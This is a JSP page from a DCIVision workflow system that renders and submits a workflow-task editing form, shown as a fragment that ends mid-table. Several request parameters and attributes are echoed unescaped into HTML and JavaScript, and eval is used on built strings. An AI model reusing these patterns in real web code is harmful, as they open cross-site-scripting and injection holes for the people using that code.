
<%
 /*
 *
 * @(#)EditWorkflowTask.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with documentInfoDCIVision Ltd.
 */


/**
  EditWorkflowTask.jsp

  This class is reflecting business logic uses.

    @author           Angus Shiu
    @company          DCIVision Limited
    @creation date    30/07/2003
    @version          $Revision: 1.232.2.33 $
*/
%>

<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.user.bean.*" %>
<%@ page import="com.dcivision.workflow.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.web.*"%>
<%@ page import="com.dcivision.workflow.core.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<%@ page import="com.dcivision.form.dao.*"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@page import="org.quartz.JobDataMap"%>
<%@page import="java.text.DateFormat"%>
<%@page import="com.dcivision.framework.GlobalConstant"%>


<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintWorkflowProgressForm" scope="request" class="com.dcivision.workflow.web.MaintWorkflowProgressForm"/>

<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/DMSFunction.jsp" charset="UTF-8" type="text/javascript"></script>
<%
  String actionString = null;//special use for websphere5
  String returnURL = null;
  String defaultFormRecordID = request.getParameter("formRecordID");
  String ACTION_MODE = null;
  Boolean bNextStepIsCheckIn = request.getAttribute("nextStepIsCheckIn") == null ? new Boolean(false) : ((Boolean)request.getAttribute("nextStepIsCheckIn"));
  Map stepOptionHasActionMap = (Map) request.getAttribute("stepOptionHasActionMap");
  String showHeaderFooter = request.getParameter("SHOW_HEADER_FOOTER")==null?(String)request.getAttribute("SHOW_HEADER_FOOTER"):request.getParameter("SHOW_HEADER_FOOTER");

  String delegateUserRecordID;
  if ( maintWorkflowProgressForm.getDelegateUserRecordID() != null && maintWorkflowProgressForm.getDelegateUserRecordID().intValue()!=0 ) {
    delegateUserRecordID = String.valueOf(maintWorkflowProgressForm.getDelegateUserRecordID());
  } else if ( !Utility.isEmpty(request.getParameter("delegateUserRecordID")) && !"null".equals(request.getParameter("delegateUserRecordID")) ) {
    delegateUserRecordID = request.getParameter("delegateUserRecordID");
    maintWorkflowProgressForm.setDelegateUserRecordID(Integer.valueOf(delegateUserRecordID));
  } else {
    // It should not be a delegate user case
    delegateUserRecordID = "";
  }

%>

<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
  SysFunction sysFunction = applicationContainer.getSysFunctionByFunctionCode(SystemFunctionConstant.DMS);
  ACTION_MODE = (String)request.getAttribute(GlobalConstant.ACTION_MODE);
  if (Utility.isEmpty(ACTION_MODE)) {
    ACTION_MODE = maintWorkflowProgressForm.getNavMode();
  }

  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

  String navMode = request.getParameter("navMode");
  List progressUserList = (List) request.getAttribute("progressUserList");
  List currentProgressUserList = (List) request.getAttribute("currentProgressUserList");
  
  List attachmentList = (List) request.getAttribute("attachmentList");
  List progressNotifyRuleList = (List)request.getAttribute("progressNotifyRuleList");
  List dueDateStepList = (List)request.getAttribute("dueDateStepList");

  Boolean scanningCategory = Utility.isEmpty(request.getAttribute("scanningCategory"))? new Boolean(false) : (Boolean) request.getAttribute("scanningCategory");

  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  WorkflowRetrievalManager wfRetrievalManager = new WorkflowRetrievalManager(sessionContainer, conn);
  WorkflowRecordDAObject recordDAO = new WorkflowRecordDAObject(sessionContainer, (Connection)request.getAttribute(GlobalConstant.DB_KEY));
  WorkflowStepDAObject stepDAO = new WorkflowStepDAObject(sessionContainer, conn);
  WorkflowRecord workflowRecord = (WorkflowRecord) recordDAO.getObjectByID(new Integer(maintWorkflowProgressForm.getWorkflowRecordID()));
  String categoryID = workflowRecord.getWorkflowCategoryID().toString();

  com.dcivision.form.dao.FormRecordDAObject formDAO = new com.dcivision.form.dao.FormRecordDAObject(sessionContainer, conn);
  DmsVersionDAObject dmsVersionDAO = new DmsVersionDAObject(sessionContainer, conn);
  DmsDocumentDAObject dmsDocumentDAO = new DmsDocumentDAObject(sessionContainer, conn);
  //DmsRootDAObject dmsRootDAO = new DmsRootDAObject(sessionContainer, conn);
  PermissionManager permissionManager = sessionContainer.getPermissionManager();

  Integer DMS_PERSONAL_FOLDER = new Integer("6001");
  Integer DMS_PUBLIC_FOLDER = new Integer("6002");

  WorkflowGroup currentGroup = (WorkflowGroup)request.getAttribute("workflowGroup");

%>
<style>
.tabContainer{
  height:520px;
}
</style>
<script language="Javascript">
<!--
var url;
function CusOpSave(status, requiredAdditional) {

  var frm;
  var dueDates = "";
  var today=new Date();
  var moreStepDueDates = "";
  var allowAssignDueDate = "";
  var currentValue;
  var iframeName = window.frames["iframeName"];

  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }
  <%if (WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK.equals(maintWorkflowProgressForm.getActionType())) { %>
    currentValue=frm.decision.options[frm.decision.selectedIndex].text;

  frm.workflowRoute.value=currentValue;
  currentValue=frm.workflowRoute.value;

  <%}%>
  
  //cancle the workflow progress
  if("<%=WorkflowProgress.STATUS_CANCEL%>" == status ){
    if (confirm("<bean:message key='workflow.label.step_proceed_confirmation'/>")){
      frm.status.value = status;
      OpUpdate(frm);
    }
    return false;
  }
  
  // Check Due Date when the allowAssignDueDate = "Y"
  var tmpDate;
  var isMandatory=false;
   <%//int count = TextUtility.parseInteger(maintWorkflowProgressForm.getNextStepDueDateCount());
   
   for (int i=1; !Utility.isEmpty(dueDateStepList) && i <= maintWorkflowProgressForm.getNextStepDueDateCount(); i++){%>
    tmpDate = document.maintWorkflowProgressForm.dueDate<%=i%>.value;
     <%
     WorkflowStep wfStep = (WorkflowStep)dueDateStepList.get(i-1);
     if (WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY.equals(wfStep.getAllowAssignDueDate())) {
	 MtmWorkflowStepWorkflowStepDAObject stepStepDAO = new MtmWorkflowStepWorkflowStepDAObject(sessionContainer, conn);
	 List ls = stepStepDAO.getListByChildStepID(wfStep.getID());
	 for(int j= 0;j<ls.size();j++){
	 MtmWorkflowStepWorkflowStep stepStep = (MtmWorkflowStepWorkflowStep) ls.get(j);
	 String parentType = stepStep.getParentType();
	 if( !Utility.isEmpty(parentType)&&stepStep.getParentStepID().toString().equals(maintWorkflowProgressForm.getWorkflowStepID())){
	%>
	if((frm.decision&&frm.decision.value=='<%=parentType%>')||"<%=WorkflowProgress.STATUS_GENERAL_ACCOMPLISHMENT%>"==status){
	     if (tmpDate==null || tmpDate=="") {
       alert("<bean:message key='workflow.message.next_step_due_date_required'/>");
       return;
       }   
	   }
	<%
	 }
	 }
}%>
      while(tmpDate.indexOf("-") >0 ) {
        tmpDate = tmpDate.replace("-","/");
      }

      if (today.getTime() > (new Date(tmpDate)).getTime() ) {
        alert("<bean:message key='workflow.message.due_date_cannot_be_less_than_current_date'/>");
        return;
      }
     <%
     if (!WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_FALSE.equals(wfStep.getAllowAssignDueDate())) {
     %>
      dueDates += document.maintWorkflowProgressForm.dueDate<%=i%>.value +";";
     <%}%>
  <%}%>
   setDueDates(dueDates);
  
  //save the workflow progress
  if(status =="" && requiredAdditional ==""){
     if(confirm("<bean:message key='workflow.label.save_the_progress'/>")){
       if (iframeName && (<%=SystemWorkflowConstant.FMB_SUBMISSION_BY_FORM.equals(categoryID)%> || <%=SystemWorkflowConstant.FMB_SUBMISSION_BY_GROUP.equals(categoryID)%>))  {
         iframeName.OpStepSave('false');         
         setTimeout("waitForFormSaved();",500);
       } else {         
         OpUpdate(frm);
       }    
    }
     return false;
  }
 
  //checkout the workflow progress
  if( "<%=WorkflowProgress.STATUS_IN_PROGRESS%>" == status){
    if (confirm("<bean:message key='workflow.label.step_proceed_confirmation'/>")){
      frm.status.value = status;
      if (iframeName && (<%=SystemWorkflowConstant.FMB_SUBMISSION_BY_FORM.equals(categoryID)%> || <%=SystemWorkflowConstant.FMB_SUBMISSION_BY_GROUP.equals(categoryID)%>))  {
        if (iframeName.OpStepSave('false'))  {
          return false;
        }         
         setTimeout("waitForFormSaved();",500);
       } else {
         OpUpdate(frm);
       } 
    }
    return false;
  }

  if (!CusChecking(frm)) {
    return false;
  }

  if (requiredAdditional=="Y" && (frm.specialFile.value=="" || frm.specialFile.value==null) ) {
    alert('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "errors.required", MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.check_in_document"))%>');
    return false;
  }

  <% if (!Utility.isEmpty(request.getAttribute("scanningCategory")) && ((Boolean)request.getAttribute("scanningCategory")).booleanValue()) { %>
  if (frm.userDef1 && frm.userDef1.value == '') {
    alert("<bean:message key='workflow.label.select_location_to_file'/>");
    return false;
  }
  <% } %>

  if (frm.decision && frm.decision.options[frm.decision.selectedIndex].value=="") {
    alert("<bean:message key='workflow.label.select_your_decision_for_this_task'/>");
    frm.decision.focus();
    return false;
  }

  if(frm.priorityRuleListValue && frm.priorityRuleListValue.value == ""){
    if(!confirm("<bean:message key='workflow.label.priority_rule_setup_confirmation'/>")){
      return false;
    }
  }
  if (confirm("<bean:message key='workflow.label.step_proceed_confirmation'/>")) {
    if (iframeName && (<%=SystemWorkflowConstant.FMB_SUBMISSION_BY_FORM.equals(categoryID)%> || <%=SystemWorkflowConstant.FMB_SUBMISSION_BY_GROUP.equals(categoryID)%>)) {
      if (iframeName.OpStepSave('true',status)) {
        return false;
      }
      frm.status.value=status;
      setTimeout("waitForFormSaved();",500);
    } else {
      frm.status.value = status;
      OpUpdate(frm);
    }
  }
  return false;
}

function waitForFormSaved(){
  var frm;  
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }
  if ( iframeName && iframeName.document && iframeName.document.forms[0] && iframeName.document.forms[0].navMode && (iframeName.document.forms[0].navMode.value == "V") && iframeName.document.body.innerText!='' ) {
    if ( iframeName.document.forms[0].opMode.value == "UPD" ) {
      // After the form has been saved, the opMode value will be changed from empty to "UPD"
      clearTimeout();
      OpUpdate(frm);      
    }else{
      setTimeout("waitForFormSaved()", 500);
    }
  }else{
    setTimeout("waitForFormSaved()", 500);
  }
}

function saveAndRefresh(urlStr){
  iframeName.OpStepSave('true');
  this.url = urlStr;
  //setTimeout("waitForLocation()", 500);
  waitForLocation();
}

function waitForLocation(){
  var frm;
  
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }
  
  if ( iframeName && iframeName.document && iframeName.document.forms[0] && iframeName.document.forms[0].navMode && (iframeName.document.forms[0].navMode.value == "V") ) {
    
    if ( iframeName.document.forms[0].opMode.value == "UPD" ) {
      // After the form has been saved, the opMode value will be changed from empty to "UPD"
      clearTimeout();
      iframeName.location.href = this.url;      
      showBlock('divFormSubmissionShow'); 
      hideBlock('divFormSubmissionHide'); 
      showBlock('formSubmission');
      
    }else{
      setTimeout("waitForLocation()", 500);
    }
  }else{
    setTimeout("waitForLocation()", 500);
  }
}

 function getCategoryDetail() {
   var frm;
    var currentValue;
    if (!frm) {
      for (var i = 0; i < document.forms.length; i++) {
        if (document.forms[i].name != "") {
          frm = document.forms[i];
          break;
        }
      }
    }
  frm.opMode.value="<%=GlobalConstant.NAV_MODE_REFRESH%>";
  frm.submit();
  return false;
}

  function hideBlock(b) {
    FindObj(b).style.display = "none";
  }

  function showBlock(b) {
    FindObj(b).style.display = "block";
  }

  function toggleBlock(b) {
    if(FindObj(b).style.display == "block" || FindObj(b).style.display == "") {
      hideBlock(b);
    } else {
      showBlock(b);
    }
  }

function adjustIFrameSize (iframeWindow) {
  if (iframeWindow.name != 'iframeName') return false;
  
  if (iframeWindow.document.height) {
    var iframeElement = parent.document.getElementById(iframeWindow.name);
    iframeElement.style.height = iframeWindow.document.height + 'px';
  }else if (document.all) {
    var iframeElement = parent.document.all[iframeWindow.name];
    if (iframeWindow.document.compatMode &&
        iframeWindow.document.compatMode != 'BackCompat'){
      iframeElement.style.height =iframeWindow.document.documentElement.scrollHeight + 15 + 'px';
    } else {
       if (iframeElement && iframeWindow.document.body.scrollHeight){
         iframeElement.style.height = iframeWindow.document.body.scrollHeight + 15 + 'px';
       }
    }
  }
}

function popupSetNotificationRule(){
      var height;
      var width;
      var windowName;
      var frm;
      for (var i = 0; i < document.forms.length; i++) {
        if (document.forms[i].name != "") {
          frm = document.forms[i];
          break;
        }
      }
      height = 330;
      width = 670;
       windowName = "DCIVisionPopupSetProgressNotifyRule";     
       OpenCenteredPopup("<%=request.getContextPath()%>/workflow/MaintWorkflowProgressNotificationRule.do?SHOW_HEADER_FOOTER=N&navMode="+frm.navMode.value+"&notificationRuleListValue="+frm.notificationRuleListValue.value+"&workflowRecordID="+frm.workflowRecordID.value+"&ID="+frm.ID.value+"&dueDate=<%=(Utility.isEmpty(maintWorkflowProgressForm.getDueDate())?"":maintWorkflowProgressForm.getDueDate().toString())%>&arrivedDate=<%=maintWorkflowProgressForm.getCreateDate().toString()%>&trackID=<%=maintWorkflowProgressForm.getTrackID()%>", windowName, width, height, "status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no");
      //alert("xiexiewulong");
      return(false);

    }

function OpRefresh(){
  var frm;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
       frm = document.forms[i];
       break;
    }
  }
  
  frm.navMode.value="<%=GlobalConstant.NAV_MODE_VIEW%>";
  frm.submit();
}

function Opclose(){
  var isFormHomePager = false;
  var isFormMessageManager = false;
  var isFormHomeMessageInbox = false;
  var divName=null;

  function waitHomePageReadyRefreshed(){
    if(!eval("window.opener."+divName+".channelRefreshFlag")){
	  window.close();
	}else{
	  setTimeout(waitHomePageReadyRefreshed,1000);
	}
  }

  function selectHomePageChannelName(){
    if(isFormHomeMessageInbox){
	  divName = "channel<%=PersonalHomePreference.SYSTEM_LOGS%>";
	}else{//default
	  divName = "channel<%=PersonalHomePreference.PENDING_WORKFLOW_TASK%>";
	}
  }

  <%if("true".equals(request.getParameter("isFromMessageManager"))){%>
  isFormMessageManager = true;
  <%}%>
  <%if("true".equals(request.getParameter("isFromHomeMessageInbox"))){%>
 	 isFormHomeMessageInbox = true;
  <%}%>
   
  if(window.opener){
   var parentWindowsDocument = window.opener.document;
  if(parentWindowsDocument.getElementById("<%=PersonalHomePreference.PENDING_WORKFLOW_TASK%>")||isFormHomeMessageInbox){
    isFormHomePager = true;
    }
    }

  if(isFormHomePager){
    //refresh homePager Ajax Channel
	//var shouldRefreshChannel = parentWindowsDocument.getElementById("refreshChannel");
	//shouldRefreshChannel.value = "<%=PersonalHomePreference.PENDING_WORKFLOW_TASK%>";
	selectHomePageChannelName();//select div
	//window.opener.reStartFreshRequenceDataByDivName(divName);
	eval("window.opener."+divName+".refreshChannel()");
	waitHomePageReadyRefreshed();
    //if not delay the time,fireFox will throws error.And waiting for parentWindow loading over than close the window is a better way.TC
  }else if(isFormMessageManager){
  	  if(!isFormHomeMessageInbox){
  	   if(window.opener){
		//window.opener.location.href='<%= request.getContextPath() %>/ListSystemMessage.do';
		if(window.opener.listMessageForm){
		window.opener.listMessageForm.submit();
		}else{
		window.opener.location.href='<%= request.getContextPath() %>/ListSystemMessage.do';
		}
		window.close();
	  }else{
	    window.location.href='<%= request.getContextPath() %>/ListSystemMessage.do';
	  }	
  	  }else{  	    
  	  	window.close();
  	  }
  }else if(window.opener){
    //refresh workflowTaskList
	window.opener.location.href='<%= request.getContextPath() %>/workflow/ListWorkflowTask.do?list=<%=request.getAttribute("list")%>&showProcessedList=<%=request.getAttribute("list")%>&opMode=LRETAIN';
	window.close();
  }else{
    window.location.href='<%= request.getContextPath() %>/workflow/ListWorkflowTask.do?list=<%=request.getAttribute("list")%>';
  }
}
-->
</script>

<layout:popupTitle titleKey ="workflow.label.task_detail"/>
<html:form  action="workflow/MaintWorkflowTask" styleClass="form-style-2">
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='status'/>
<input type="hidden" name="MaintWorkflowTaskProtectedToken" value='<%=request.getSession().getAttribute("MaintWorkflowTaskProtectedToken")%>'/>
<%if(delegateUserRecordID!=null){%>
<html:hidden property='delegateUserRecordID' value="<%=delegateUserRecordID%>"/>
<%}%>
<html:hidden property='workflowRecordID'/>
<html:hidden property='workflowStepID'/>
<html:hidden property='userDef4'/>
<html:hidden property='actionType'/>
<html:hidden property='nextStepAllowAssignDueDate'/>
<html:hidden property='nextStepDueDateCount'/>
<html:hidden property='oldUpdateFileText' value=""/>
<html:hidden property='oldUpdateFileValue' value=""/>
<html:hidden property='notificationRuleListValue' />
<input type="hidden" name="isFromMessageManager" value='<%=request.getParameter("isFromMessageManager")%>'>
<input type="hidden" name="isFromHomeMessageInbox" value='<%=request.getParameter("isFromHomeMessageInbox")%>'>

  <!-- ===================Dynamic Assign Due Date For Next Step Begin======================== -->
  <script language="javascript">
    <!--
       function PopupSetDueDates(idField) {
          var height;
          var width;
          var windowName;
          var moreStepDueDates;

          for (var i = 0; i < document.forms.length; i++) {
            if (document.forms[i].name != "") {
              frm = document.forms[i];

              break;
            }
          }

          height = 90 + 30 * <%=SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKFLOW_ATTACHMENT_UPLOAD_LIMIT)%>;
          width = 530;
          windowName = "DCIVisionPopupSetDueDates";
          var frmObj = eval('frm.'+idField);
          moreStepDueDates = frm.nextStepDueDates.value;

          OpenCenteredPopup("<%=request.getContextPath()%>/workflow/MaintNextStepDueDates.do?navMode=N&SHOW_HEADER_FOOTER=N&delegateUserRecordID=<%=delegateUserRecordID %>&workflowRecordID=<%=maintWorkflowProgressForm.getWorkflowRecordID()%>&currentStepID=<%=maintWorkflowProgressForm.getWorkflowStepID()%>&moreStepDueDates="+moreStepDueDates, windowName, width, height, "scrollbars=yes");
          return(false);
        }

       function setDueDates(nextStepDueDates){

          for (var i = 0; i < document.forms.length; i++) {
            if (document.forms[i].name != "") {
              frm = document.forms[i];
              break;
            }
          }
          if(frm.nextStepDueDates) {
            frm.nextStepDueDates.value = nextStepDueDates;
          }
          //return(false);
       }

       function CusOpInterrupt(){
        var sOptions = 'status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no';
        var width = 800;
        var height = 600;
        var frm;
         for (var i = 0; i < document.forms.length; i++) {
            if (document.forms[i].name != "") {
              frm = document.forms[i];
              break;
            }
          }
        var trackID=frm.trackID.value;
        oldTarget=document.maintWorkflowProgressForm.target;
        oldAction=document.maintWorkflowProgressForm.action;
        var sPopupPath = "<%= request.getContextPath() %>/workflow/ListWorkflowStep.do?fromType=L&SHOW_HEADER_FOOTER=N&workflowRecordID="+frm.workflowRecordID.value+"&trackID="+frm.trackID.value+"&workflowTrackID="+frm.trackID.value+"&ID="+frm.ID.value+"&workflowStepID="+frm.workflowStepID.value;
        document.maintWorkflowProgressForm.action= "<%= request.getContextPath() %>/workflow/ListWorkflowStep.do?fromType=L&SHOW_HEADER_FOOTER=N&workflowRecordID="+frm.workflowRecordID.value+"&trackID="+frm.trackID.value+"&workflowTrackID="+frm.trackID.value+"&ID="+frm.ID.value+"&workflowStepID="+frm.workflowStepID.value;
        window.open(sPopupPath, "DCIVisionInterruptWorkflowSelect", sOptions);
        document.maintWorkflowProgressForm.target = "DCIVisionInterruptWorkflowSelect"; 
        document.maintWorkflowProgressForm.submit();
        document.maintWorkflowProgressForm.target=oldTarget;
        document.maintWorkflowProgressForm.action=oldAction;
       //OpenCenteredPopup(sPopupPath, "DCIVisionInterruptWorkflowSelect", width, height, sOptions);

}

  function OpViewProcess(trackID, id, workflowRecordID){
    var url = "<%= request.getContextPath() %>/workflow/MaintWorkflowTask.do?SHOW_HEADER_FOOTER=N&navMode=WORKFLOW.TREE&trackID=" + trackID + "&ID=" + id + "&workflowRecordID=" + workflowRecordID + "&listView=Y";
    var name = "DCIVisionViewWorkflowProgress";
    var popW = "850";
    var popH = "600";
    var feature = "status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no";
    OpenCenteredPopup(url, name, popW, popH, feature);
    return false;
  }
    -->
  </script>
  <%
    String nextStepDueDateCount = String.valueOf(maintWorkflowProgressForm.getNextStepDueDateCount());
    if(!Utility.isEmpty(request.getParameter("nextStepDueDateCount")) ){
      nextStepDueDateCount = request.getParameter("nextStepDueDateCount");
    }
  %>

<%WorkflowProgress workflowProgress = (WorkflowProgress)maintWorkflowProgressForm.getFormData();%>
  
 <layout:tabContainer id="tab1">
 <layout:tabBar>
 <layout:tabPane id="TaskTab" title="workflow.label.process_task" selected="true"/>
 <layout:tabPane id="DetailsTab" title="workflow.label.workflow_information"/>
 </layout:tabBar>
  <!-- ============== Begin of Task Tab =============== -->
  <div id="TaskTab" class="taskTabContent">
  <table width="100%">
   <tr>
     <td colspan="6" align="right">
       <bean:message key='common.label.priority'/>:
       <b><bean:message key='common.priority.label_1'/></b>&nbsp;&nbsp;
       <b><font color='red'>!</font></b>&nbsp;&nbsp;<b><bean:message key='common.priority.label_2'/></b>&nbsp;&nbsp;
       <b><font color='red'>!!</font></b>&nbsp;&nbsp;<b><bean:message key='common.priority.label_3'/></b>&nbsp;&nbsp;
     </td>
   </tr>
   <tr>
     <td class="formLabelSmall"><bean:message key='workflow.label.step_name'/>:&nbsp;</td>
     <td colspan="5" class="formFieldSmall">
     <%
       String stepOfPriority="";
       if(!Utility.isEmpty(maintWorkflowProgressForm.getProgressPriority()) ){
         stepOfPriority = maintWorkflowProgressForm.getProgressPriority();
       } else {
    	 stepOfPriority = maintWorkflowProgressForm.getPriority(); 
       }
	   List executedProgressList = (List) request.getAttribute("ExecutedProgressList");
       if (!Utility.isEmpty(executedProgressList) && executedProgressList.size() > 0 ) {
         WorkflowProgress wfProgress = (WorkflowProgress)executedProgressList.get(executedProgressList.size()-1);
         stepOfPriority = wfProgress.getProgressPriority();
	   }
        if (GlobalConstant.PRIORITY_HIGH.equals(stepOfPriority) ) {
          %><b><font color='red'>!!</font></b><%
        } else if (GlobalConstant.PRIORITY_MEDIUM.equals(stepOfPriority)) {
          %><b><font color='red'>!</font></b><%
        }
     %><%
       if (maintWorkflowProgressForm.getStepSeq().equals(WorkflowStep.END_STEP_SEQ_NO.toString())) {%>
         <html:hidden property='stepSeq'/> <html:img src='IconInfinity.gif' /> 
       <%} else {%>
         <html:text property='stepSeq' textOnly='true' size='5' maxlength='10'/>.
       <%}%> 
       <html:text property='stepName' textOnly='true' size='5' maxlength='10'/>
     </td>
   </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.step.instruction'/>:&nbsp;</td>
    <td colspan="5" class="formFieldSmall">
      <font size='1'><html:text property='stepDescription' textOnly='true' size='5' maxlength='10'/></font>
    </td>
  </tr>

  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.track_id'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <font color="#0000FF">
        <b>
          <% Integer trackID = TextUtility.parseIntegerObj(maintWorkflowProgressForm.getTrackID());%>
          <%=TextUtility.formatNumberWithZeroPrefix(SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKLFLOW_TRACK_ID_FORMAT_LENGTH).intValue(), trackID)%>
          <html:hidden property='trackID'/>
        </b>
      </font>
    </td>
    <td class="formLabelSmall"><bean:message key='workflow.label.due_date'/>:&nbsp;</td>
  
    <td class="formFieldSmall">
    <wfm:dueDate status='<%=maintWorkflowProgressForm.getStatus()%>' dueDate='<%=maintWorkflowProgressForm.getDueDate()%>'/>
    <%if(!Utility.isEmpty(maintWorkflowProgressForm.getDueDate())){ %>
     <html:hidden property='dueDate'/>      
    <%}%>&nbsp;
    </td>
    <td class="formLabelSmall"><bean:message key='workflow.label.notify_reminder'/>:&nbsp;</td>

    <td class="formFieldSmall">
    <%
      if(!Utility.isEmpty(progressNotifyRuleList)){
    %>

    <%
        String htmlOfRemindInfo="<table border=0 cellpadding=0 cellspacing=1>";
        int viewIndex=1;
        for(int i = 0; i < progressNotifyRuleList.size(); i++) {
          MtmWorkflowProgressNotifyRule progressNotifyRule = (MtmWorkflowProgressNotifyRule)progressNotifyRuleList.get(i);
          String notifyTrigger = new String();
          String notifyAtm = new String();
          int pp;
          if (MtmWfStepNotificationRule.NOTIFY_TRIGGER_TYPE_ARRIVED.equals(progressNotifyRule.getNotifyTrigger())){
            notifyTrigger =  MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.after_task_arrived");
          }else if (MtmWfStepNotificationRule.NOTIFY_TRIGGER_TYPE_PENDING_FOR.equals(progressNotifyRule.getNotifyTrigger())){
            notifyTrigger =  MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.workflow_is_pending_for");
          }
          if(Calendar.DATE == progressNotifyRule.getNotifyAtField().intValue()) {
            notifyAtm =  MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.days");
            pp=0;
          }else if (Calendar.HOUR == progressNotifyRule.getNotifyAtField().intValue()){
            notifyAtm =  MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.hours");
            pp=1;
          } else {
            notifyAtm =  MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.minutes");
            pp=2;
          }
          //added by nancy
          Timestamp startDate1 = TextUtility.parseDBDateTimeToTimeStamp(maintWorkflowProgressForm.getCreateDate());
          java.util.Calendar calendarStemp1 = Utility.timestampToCalendar(startDate1);
          if(pp==0){//day
            calendarStemp1.add(java.util.Calendar.DAY_OF_MONTH, progressNotifyRule.getNotifyAtAmt().intValue());
          }
		  else if(pp==1){//hours
		    calendarStemp1.add(java.util.Calendar.HOUR_OF_DAY, progressNotifyRule.getNotifyAtAmt().intValue());
		  }
		  else {//mincues
		    calendarStemp1.add(java.util.Calendar.MINUTE,progressNotifyRule.getNotifyAtAmt().intValue());
		  }
          
          htmlOfRemindInfo=htmlOfRemindInfo+"<tr>"+
            "<td>"+
              // Variable "viewIndex" is remind information index for display.
              viewIndex++ +".Remind at "+notifyTrigger+progressNotifyRule.getNotifyAtAmt()+notifyAtm+"("+TextUtility.formatTimestamp(Utility.calendarToTimestamp(calendarStemp1))+")"+
            "</td>"+
          "</tr>";
     }
       htmlOfRemindInfo=htmlOfRemindInfo+"</table>";
     %>
     <a onmouseover="return getPopupInfo('<%=htmlOfRemindInfo%>', CAPICON, '<%=request.getContextPath()%>/theme/pref1/img/common/IconReminder.gif', WIDTH, 300, DELAY, 500, CAPTION, 'Task Reminder', RIGHT, VAUTO);" onmouseout="return nd();">
       <html:img src='IconReminder.gif'  width='16' height='16'/>
       <%=progressNotifyRuleList.size()%>
       <%if(progressNotifyRuleList.size()<=1){ %>
         <bean:message key='calendar.label.remind'/>
       <%}else{ %>
         <bean:message key='calendar.label.reminders'/>
       <%} %>
     </a>
 <% }%>
    <a href="javascript://" onclick="return popupSetNotificationRule();" style="text-decoration:none">[<bean:message key='workflow.applet.add'/> / <bean:message key='workflow.applet.remove'/>]</a>
   </td>
  </tr>

 <tr>
    <td class="formLabelSmall"><bean:message key='workflow.columnheader.submitter'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='createDate' textOnly='true'  value="<%=UserInfoFactory.getUserFullName(TextUtility.parseIntegerObj(maintWorkflowProgressForm.getCreatorID()))%>"/></td>
    <td class="formLabelSmall"><bean:message key='workflow.label.submission_date'/>:&nbsp;</td>
    <%
      WorkflowProgressDAObject workflowProgressDAO=new WorkflowProgressDAObject(sessionContainer, conn);
      WorkflowProgress firstWorkflowProgress=(WorkflowProgress)workflowProgressDAO.getFirstProgressByTrackID(Integer.valueOf(maintWorkflowProgressForm.getTrackID()));
    %>
    <td class="formFieldSmall">
      <%=firstWorkflowProgress.getCreateDate().toLocaleString()%>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.columnheader.from_whom'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='c' textOnly='true'  value="<%=UserInfoFactory.getUserFullName(TextUtility.parseIntegerObj(maintWorkflowProgressForm.getCreatorID()))%>"/></td>
    <td class="formLabelSmall"><bean:message key='workflow.columnheader.arrival_date'/>:&nbsp;</td>
